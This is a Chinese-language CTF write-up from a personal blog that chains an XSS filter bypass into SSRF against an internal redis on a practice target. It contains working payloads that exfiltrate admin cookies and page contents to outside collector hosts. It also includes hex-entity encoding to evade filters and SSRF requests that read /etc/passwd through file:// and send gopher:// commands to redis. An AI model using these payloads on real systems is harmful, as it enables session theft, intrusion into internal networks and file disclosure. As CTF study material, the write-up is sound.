XSSRF攻击内网redis

0X00 前言

由于本菜鸡对xss的认识还停留在弹个框框的层面上,写此文章以求进步。

在实际过程中经常会出现拿到了cookie,却发现后台登陆在内网的情况,本文刚好发现了这样一个xss测试环境,并且在该环境中进一步利用xss结合ssrf攻击了内网的redis服务器,特此记录。

0x01 XSS获取管理员cooklie

环境地址:https://xssrf.hackme.inndy.tw
在该环境中有一个send email的功能,可以给管理员发送含有xss的payload以获取其cookie。
这里简单测试。发现过滤了<script ( ) onerror等关键词。

这里可以看到onerror前面是加了空格的,那么可以用下面的payload染过
payload

1
<img src="x"onerror="document.location='http://ay82rc.ceye.io/'+document.cookie">

发送后管理员查看即可成功返回cookie。

0x02 xss登陆内网后台

拿到cookie后这里直接以cookie登陆,发现限制了管理员需要从内网登陆。这里也符合很多实际场景。

那么这里可以直接使用xss然后通过document.body.innerHTML打印出其后台页面。
修改上面的payload,但是上面已经过滤(),这里可以使用编码绕过。推荐余弦大大的xss在线编码平台xss’or

1
<img src="x"onerror="document.location='http://ay82rc.ceye.io/'+btoa(document.body.innerHTML)">

16进制编码后

1
<img src="x"onerror="&#x0064;&#x006f;&#x0063;&#x0075;&#x006d;&#x0065;&#x006e;&#x0074;&#x002e;&#x006c;&#x006f;&#x0063;&#x0061;&#x0074;&#x0069;&#x006f;&#x006e;&#x003d;&#x0027;&#x0068;&#x0074;&#x0074;&#x0070;&#x003a;&#x002f;&#x002f;&#x0061;&#x0079;&#x0038;&#x0032;&#x0072;&#x0063;&#x002e;&#x0063;&#x0065;&#x0079;&#x0065;&#x002e;&#x0069;&#x006f;&#x002f;&#x0027;&#x002b;&#x0062;&#x0074;&#x006f;&#x0061;&#x0028;&#x0064;&#x006f;&#x0063;&#x0075;&#x006d;&#x0065;&#x006e;&#x0074;&#x002e;&#x0062;&#x006f;&#x0064;&#x0079;&#x002e;&#x0069;&#x006e;&#x006e;&#x0065;&#x0072;&#x0048;&#x0054;&#x004d;&#x004c;&#x0029;">

成功获取到内容

将内容base64解码

保存为html即可看到后台内容,并且登陆账号为admin。

这里可以看到两个管理员所特有的功能点set admin send request
继续获取一下request.php的内容

1
2
3
4
5
6
7
8
9
10
<img src="x"onerror="
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.location = 'http://zhengbao.wang?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

将payload编码发送,注意这里ceye服务器收不到回显,不知为何,改用自己的vps

成功读取到request.php页面内容。

base64解码后看到有发送url的操作,这里猜测具有ssrf

0x02 xssrf file协议任意文件读取

继续构造payload,利用ssrf通过file协议读取/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
<img src="x"onerror="
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.location = 'http://zhengbao.wang?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

发现可以获取到/etc/passwd

至此已经可以任意文件读取了,这是一道ctf题目,在robots.txt中提示让读取config.php

那么我们便可以继续修改上面的payload读取config.php。

进一步获取到在内网25566端口运行着redis
那么便可以通过gopher协议去攻击内网redis了。

0X04 xssrf gopher协议攻击内网redis

1
2
3
4
5
6
7
8
9
10
11
<img src="x"onerror="
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.location = 'http://zhengbao.wang?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a_quit");
">

成功获得redis info信息。

0x05 参考链接

https://skysec.top/2018/08/17/xss-ssrf-redis/
https://www.kingkk.com/2018/08/redis未授权访问与ssrf利用
https://www.cnblogs.com/go2bed/p/4136358.html

本文标题:XSSRF攻击内网redis

文章作者:boogle

发布时间:2019年05月03日 - 11:23

最后更新:2019年05月03日 - 11:24

原始链接:https://zhengbao.wang/XSSRF攻击内网redis/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗